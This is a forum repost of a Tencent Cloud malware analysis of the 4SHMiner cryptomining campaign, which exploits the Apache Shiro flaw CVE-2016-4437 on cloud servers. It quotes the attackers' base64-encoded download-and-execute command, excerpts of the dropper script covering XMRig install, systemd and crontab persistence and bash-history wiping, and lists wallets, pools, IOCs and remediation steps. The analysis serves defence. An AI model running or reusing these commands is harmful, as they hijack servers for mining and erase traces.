首页
社区
课程
招聘
[原创]腾讯主机安全(云镜)捕获挖矿木马4SHMiner,已有1.5万台服务器受害
发表于: 2020-11-19 18:44 3085

[原创]腾讯主机安全(云镜)捕获挖矿木马4SHMiner,已有1.5万台服务器受害

2020-11-19 18:44
3085

背景

近日腾讯云主机安全(云镜)捕获到挖矿木马4SHMiner利用Apache Shiro反序列化漏洞CVE-2016-4437针对云服务器的攻击行动。4SHMiner挖矿团伙入侵成功后会执行命令下载4.sh,然后下载XMRig挖矿木马并通过Linux servicesystemctl服务,系统配置文件$HOME/.profilecrontab定时任务进行持久化。

 

通过其使用的门罗币钱包算力(约333KH/s)进行推算,4SHMiner团伙已控制约1.5万台服务器进行挖矿,并且根据算力突变数据可知其在2020.11.1617日一天之内新增感染近1万台机器。腾讯安全建议企业及时检查服务器是否部署了小于1.2.5版本Apache Shiro,并将其升级到1.2.5及以上版本。同时对以下位置进行检查并删除相关文件和启动项:

 

/tmp/4.sh

/tmp/xmrig.tar.gz

$HOME/moneroocean/xmrig

/etc/init.d/c3pool_miner

/etc/systemd/system/moneroocean_miner.service

$HOME/.profile

crontab

 

腾讯安全系列产品应对4SHMiner挖矿木马的响应清单:

更多产品信息,请参考腾讯安全官方网站https://s.tencent.com/

 

详细分析

Apache Shiro是一款开源安全框架,提供身份验证、授权、密码学和会话管理。Shiro框架直观、易用,同时也能提供健壮的安全性。Apache Shiro <=1.2.4版本中,加密的用户信息序列化后存储在名为remember-me的Cookie中。攻击者可以使用Shiro的默认密钥伪造用户Cookie,触发Java反序列化漏洞CVE-2016-4437,进而在目标机器上执行任意命令。

该漏洞利用POC已被公开:

https://github.com/lightless233/Java-Unserialization-Study/tree/master/src/main/java/me/lightless/shiro

 

攻击者批量扫描网站,并将精心构造的包含漏洞利用的数据包发送至服务器。

漏洞攻击成功执行恶意命令:

bash -c {echo,d2dldCBodHRwOi8vd3d3LnNoaXp1MzcuY29tL3N0YXRpYy80LnNoIC1PIC90bXAvNC5zaCAmJiBiYXNoIC90bXAvNC5zaCAxMjM=}|{base64,-d}|{bash,-i}

 

base64解码命令:

wget http[:]//www.shizu37.com/static/4.sh -O /tmp/4.sh && bash /tmp/4.sh 123

 

恶意命令从www[.]shizu37.com下载shell脚本4.sh,保存到tmp目录并执行。我们发现www[.]shizu37.com是厦门某服装企业的网站,有可能是被黑客利用漏洞入侵之后,控制服务器将其作为木马下载地址。


4.sh主要功能为下载安装挖矿木马及持久化。首先检测进程xmrig是否存在,不存在则启动挖矿进程$HOME/moneroocean/xmrig

 

设置参数,其中WALLET为门罗币钱包,EMAIL通过4.sh启动时的第二个参数传入。

WALLET='48BBjhM6wjtVPPteiAAyy4FfQogMVvJdSWqbT3T8L9cGb9NhUPRtMHkYVmzLgpYEiuh9B6J1yrXhPdjtnmf7rfQyA73rWaF'

EMAIL=$2

 

检测运行环境,设置当前目录为home,安装脚本执行所需的curllscpu程序。

 

通过lscpu命令获取CPU频率、核心数、缓存大小等信息,并通过公式计算的到EXP_MONERO_HASHRATE(每秒可执行哈希量)。

 

 

利用EXP_MONERO_HASHRATE进一步计算得到PORT,PORT将会作为后续挖矿时的端口号。

PORT=$(( $EXP_MONERO_HASHRATE * 12 / 1000 ))

PORT=$(( $PORT == 0 ? 1 : $PORT ))

PORT=`power2 $PORT`

PORT=$(( 10000 + $PORT ))

if [ -z $PORT ]; then

  echo "ERROR: Can't compute port"

  exit 1

fi

 

if [ "$PORT" -lt "10001" -o "$PORT" -gt "18192" ]; then

  echo "ERROR: Wrong computed port value: $PORT"

  exit 1

fi

 

接着下载XMRig挖矿木马到/tmp/xmrig.tar.gz,并将其解压到$HOME/moneroocean/xmrig,同时下载配置文件到$HOME/moneroocean/config.json

挖矿木马下载地址:

http[:]//download.c3pool.com/xmrig_setup/raw/master/xmrig.tar.gz

https[:]//raw.githubusercontent.com/MoneroOcean/xmrig_setup/master/xmrig.tar.gz

https[:]//github.com/xmrig/xmrig/releases/latest

配置文件下载地址:

http[:]//www.shizu37.com/static/config.json

 

从启动命令第一个参数$1中获得挖矿登陆密码$PASS,以及利用CPU信息计算得到的$PORT、内置钱包地址$WALLET写入$HOME/moneroocean/config.json,并将配置文件拷贝到

$HOME/moneroocean/config_background.json

创建挖矿木马启动脚本$HOME/moneroocean/miner.sh并拷贝到/etc/init.d/c3pool_miner,通过服务启动挖矿service c3pool_miner start

将挖矿启动命令写入配置文件$HOME/.profile以便在用户登陆时自动运行。

 

修改最大内存页hugepages以提高性能。

  if [[ $(grep MemTotal /proc/meminfo | awk '{print $2}') > 3500000 ]]; then

    echo "[*] Enabling huge pages"

    echo "vm.nr_hugepages=$((1168+$(nproc)))" | sudo tee -a /etc/sysctl.conf

    sudo sysctl -w vm.nr_hugepages=$((1168+$(nproc)))

  fi

 

通过安装systemctl服务/etc/systemd/system/moneroocean_miner.service启动挖矿脚本:

cat >/tmp/moneroocean_miner.service <<EOL

[Unit]

Description=Monero miner service

 

[Service]

ExecStart=$HOME/moneroocean/xmrig --config=$HOME/moneroocean/config.json

Restart=always

Nice=10

CPUWeight=1

 

[Install]

WantedBy=multi-user.target

EOL

sudo mv /tmp/moneroocean_miner.service

/etc/systemd/system/moneroocean_miner.service

    echo "[*] Starting moneroocean_miner systemd service"

    sudo killall xmrig 2>/dev/null

    sudo systemctl daemon-reload

    sudo systemctl enable moneroocean_miner.service

sudo systemctl start moneroocean_miner.service

 

通过安装crontab定时任务在每天21:30分执行一次挖矿启动脚本:

cat >/tmp/cron << EOL

30 21 * * * bash $HOME/moneroocean/miner.sh

EOL

echo ""

echo "Persistent process by crontab service"

yum -y install vixie-cron

yum -y install crontabs

sudo apt-get install cron

systemctl start crond.service

systemctl enable crond.service

service crond start

chkconfig --level 35 crond on

crontab /tmp/cron

echo "[*] Setup complete"

 

最后删除临时文件、删除命令执行记录:

rm -f /tmp/*.sh

rm -f /tmp/cron

history -c

echo ''>/$HOME/.bash_history

 

从脚本中获得挖矿使用的两个矿池和钱包:

矿池:mine.c3pool.com:13333

钱包:

4AunTXsvKJWUGkQ2LuqeNmTkH9oPJt2Wc7LYweKVfbiYDZLjSdGMA9cfrDm6HLLZHCLoDrhqKjNBo9EPaqsZrYN92Ng5S68

 

矿池:gulf.moneroocean.stream

钱包:

48BBjhM6wjtVPPteiAAyy4FfQogMVvJdSWqbT3T8L9cGb9NhUPRtMHkYVmzLgpYEiuh9B6J1yrXhPdjtnmf7rfQyA73rWaF

 

按照钱包平均算力121 KH/s+212 KH/s=333 KH/s,推算其控制约一万五千台服务器进行挖矿。其中第二个钱包在2020.11.16日晚至17日凌晨算力突增约180KH/s,意味着该挖矿木马在一天之内新增感染近1万台服务器。

 

 

 

IOCs

Md5

4.sh 431F20DFF2233F7A4A286105958D28BE

xmrig.tar.gz 4C010F248891A65E91600B613A654F5F

 

IP

118.254.9.180 

 

URL

http[:]//www.shizu37.com/static/4.sh

http[:]//www.shizu37.com/static/config.json

 

钱包:

4AunTXsvKJWUGkQ2LuqeNmTkH9oPJt2Wc7LYweKVfbiYDZLjSdGMA9cfrDm6HLLZHCLoDrhqKjNBo9EPaqsZrYN92Ng5S68

 

48BBjhM6wjtVPPteiAAyy4FfQogMVvJdSWqbT3T8L9cGb9NhUPRtMHkYVmzLgpYEiuh9B6J1yrXhPdjtnmf7rfQyA73rWaF

 

参考链接:

https://www.cvedetails.com/cve/CVE-2016-4437/

https://www.anquanke.com/vul/id/1148122

https://github.com/lightless233/Java-Unserialization-Study/tree/master/src/main/java/me/lightless/shiro

 



[招生]科锐逆向工程师培训(2024年11月15日实地,远程教学同时开班, 第51期)

收藏
免费 0
支持
分享
最新回复 (1)
雪    币: 256
能力值: ( LV1,RANK:0 )
在线值:
发帖
回帖
粉丝
2

比*60好多了

最后于 2020-11-19 19:40 被wx_123456编辑 ,原因:
2020-11-19 19:40
0
游客
登录 | 注册 方可回帖
返回
//